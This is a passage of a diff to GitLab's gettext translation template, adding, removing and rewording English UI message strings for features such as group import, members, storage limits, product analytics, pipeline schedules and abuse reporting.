msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -20509,9 +20719,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20566,6 +20782,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20575,6 +20794,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20584,6 +20809,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20701,6 +20929,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -21028,6 +21259,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -21442,9 +21679,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -21466,6 +21700,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21694,12 +21931,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22762,7 +23011,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22828,9 +23077,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22981,6 +23239,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -24187,6 +24448,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -24235,6 +24499,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -24379,9 +24646,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24697,9 +24961,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24868,9 +25129,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -25003,6 +25261,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -25072,9 +25333,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25852,6 +26110,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25867,9 +26128,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25969,6 +26227,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -26038,9 +26299,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -26053,9 +26311,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -26395,6 +26650,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -26440,6 +26698,9 @@ msgstr[5] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -26449,6 +26710,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -26470,10 +26746,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -26482,9 +26758,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -26512,6 +26794,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -26539,6 +26824,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26824,10 +27115,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26887,6 +27181,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -27322,6 +27619,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27718,6 +28021,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27742,6 +28048,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27751,6 +28060,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27778,24 +28090,36 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27889,6 +28213,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -28021,9 +28366,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -28339,9 +28681,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -28522,6 +28861,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -29074,13 +29428,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -29131,6 +29479,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -29566,6 +29926,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29731,6 +30094,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -30160,12 +30526,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -30328,9 +30688,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -30481,12 +30838,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -31018,7 +31369,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -31033,6 +31384,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -31045,6 +31399,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -31072,6 +31429,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -31090,6 +31453,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -32044,9 +32410,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -32104,6 +32467,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -32131,7 +32497,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -32146,9 +32515,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -32260,6 +32626,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -32272,27 +32641,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32947,6 +33517,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -33166,6 +33748,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -33241,9 +33826,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -33415,9 +33997,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -33568,10 +34147,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33703,6 +34282,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -34327,6 +34909,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -34339,6 +34939,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -34375,6 +34978,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -35113,6 +35719,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -35380,9 +35989,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -35440,9 +36046,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -35479,6 +36082,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -36481,7 +37111,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36862,7 +37492,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -37069,6 +37699,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
